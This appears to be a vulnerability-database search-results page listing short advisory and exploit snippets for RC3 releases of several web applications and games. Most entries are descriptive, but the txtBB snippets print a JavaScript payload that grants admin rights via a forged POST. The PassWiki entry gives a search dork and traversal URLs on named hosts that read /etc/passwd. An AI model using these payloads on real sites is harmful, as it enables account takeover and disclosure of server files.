240 matches found
Joomla Mamboleto Component 2.0 RC3 Remote File Include Vulneralbility
Exploit for unknown platform in category web applications ====================================================================== Joomla! Mamboleto Component 2.0 RC3 Remote File Include Vulneralbility ====================================================================== / Software Information +...
CVE-2008-7034
CVE-2008-7034 affects PHPEcho CMS 2.0 rc3 due to a PHP remote file inclusion in kernel/smarty/Smarty.class.php. The vulnerability allows an attacker to execute arbitrary PHP code by supplying a URL that influences the _smarty_compile_path in the fetch function. Exploitation details are not provid...
Cross site scripting
Cross-site scripting XSS vulnerability in PHPEcho CMS 2.0-rc3 allows remote attackers to inject arbitrary web script or HTML via a forum post...
CVE-2009-2401
Cross-site scripting XSS vulnerability in PHPEcho CMS 2.0-rc3 allows remote attackers to inject arbitrary web script or HTML via a forum post...
CVE-2009-2401
PHPEcho CMS 2.0-rc3 is affected by a Cross-site scripting (XSS) vulnerability that allows an attacker to inject arbitrary script or HTML through a forum post. The CVSS base score is 4.3 (Medium) with no authentication required, though the impact is limited to partial integrity and no confidential...
OpenBB跨站脚本执行(CSS/XSS)漏洞
BUGTRAQ: 4824 OpenBB是一款由PHP编写的Web论坛程序，可使用在Unix和Linux操作系统下，也可使用在Microsoft Windows操作系统下。 OpenBB对用户提供的数据未进行正确充分的检查，可导致远程攻击者进行跨站脚本执行攻击。 OpenBB中myhome.php脚本对用户提交给参数的数据缺少检查，攻击者可以构建恶意代码的URL链接，当论坛用户浏览此包含恶意代码的链接时，就可以导致脚本代码在浏览用户浏览器中执行，使攻击者获得用户基于Cookie认证的敏感信息。 OpenBB 1.0.0 RC3 临时解决方法：...
PT-2009-3521 · Linux · Linux Kernel
Name of the Vulnerable Software and Affected Versions: Linux kernel versions 2.6.27 through 2.6.27.13 Linux kernel versions 2.6.28 through 2.6.28.2 Linux kernel version 2.6.29-rc3 Description: The issue allows local users to cause a denial of service via a read with an invalid address to an inoti...
txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit
Exploit for unknown platform in category web applications ================================================================= txtBB var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type',...
txtBB 1.0 RC3 Injection
var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded'; req.send'signature=&avatar=&type=3&password=&submit=Zapisz';...
txtBB 1.0 RC3 - HTML/JS Injection / Arbitrary Add Admin Privileges
var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded'; req.send'signature=&avatar=&type=3&password=&submit=Zapisz'; milw0rm.com 2009-02-05...
CVE-2008-4304
general/login.php in phpCollab 2.5 rc3 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in unspecified input related to the SSLCLIENTCERT environment variable. NOTE: in some environments, SSLCLIENTCERT always has a base64-encoded string value, which may...
Design/Logic Flaw
general/login.php in phpCollab 2.5 rc3 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in unspecified input related to the SSLCLIENTCERT environment variable. NOTE: in some environments, SSLCLIENTCERT always has a base64-encoded string value, which may...
Server freezed in Skulltag 0.97d2-RC2
Luigi Auriemma Application: Skulltag http://www.skulltag.com Versions: = 0.97d2-RC2 Platforms: Windows, Linux and FreeBSD Bug: loop during the parsing of the packets Exploitation: remote, versus server Date: 16 Jun 2008 Author: Luigi Auriemma e-mail: [email protected] web: aluigi.org 1...
Skulltag 0.97 d2-RC3 - Malformed Packet Denial of Service
Skulltag 0.97 d2-RC3 - Malformed Packet Denial of Service source: https://www.securityfocus.com/bid/29760/info Skulltag is prone to a vulnerability that can cause denial-of-service conditions. A successful attack will deny service to legitimate users. Skulltag 0.97d2-RC3 is vulnerable; other...
PassWiki 0.9.16 RC3 - 'site_id' Local File Inclusion
dork: "powered by PassWiki" example: http://w3.funsrv.com/konjo/passwiki/passwiki.php?siteid=../../../../../../../../../../../../../etc/passwd%00 http://inajob.no-ip.org/passwiki/passwiki.php?siteid=../../../../../../../../../../../../../etc/passwd%00 author:[email protected] http://rstzone.org...
CVE-2008-2494
Cross-site scripting XSS vulnerability in index.php in Zina 1.0 RC3 allows remote attackers to inject arbitrary web script or HTML via the l parameter...
Cross site scripting
Cross-site scripting XSS vulnerability in index.php in Zina 1.0 RC3 allows remote attackers to inject arbitrary web script or HTML via the l parameter...
Directory traversal
Directory traversal vulnerability in index.php in Zina 1.0 RC3 allows remote attackers to have an unknown impact via a .. dot dot in the p parameter...
CVE-2008-2494
CVE-2008-2494 describes a cross-site scripting (XSS) vulnerability in Zina 1.0 RC3, specifically in index.php, where an attacker can inject arbitrary web script or HTML through the l parameter. The connected records corroborate the issue as XSS affecting Zina 1.0 RC3; no explicit exploit details,...
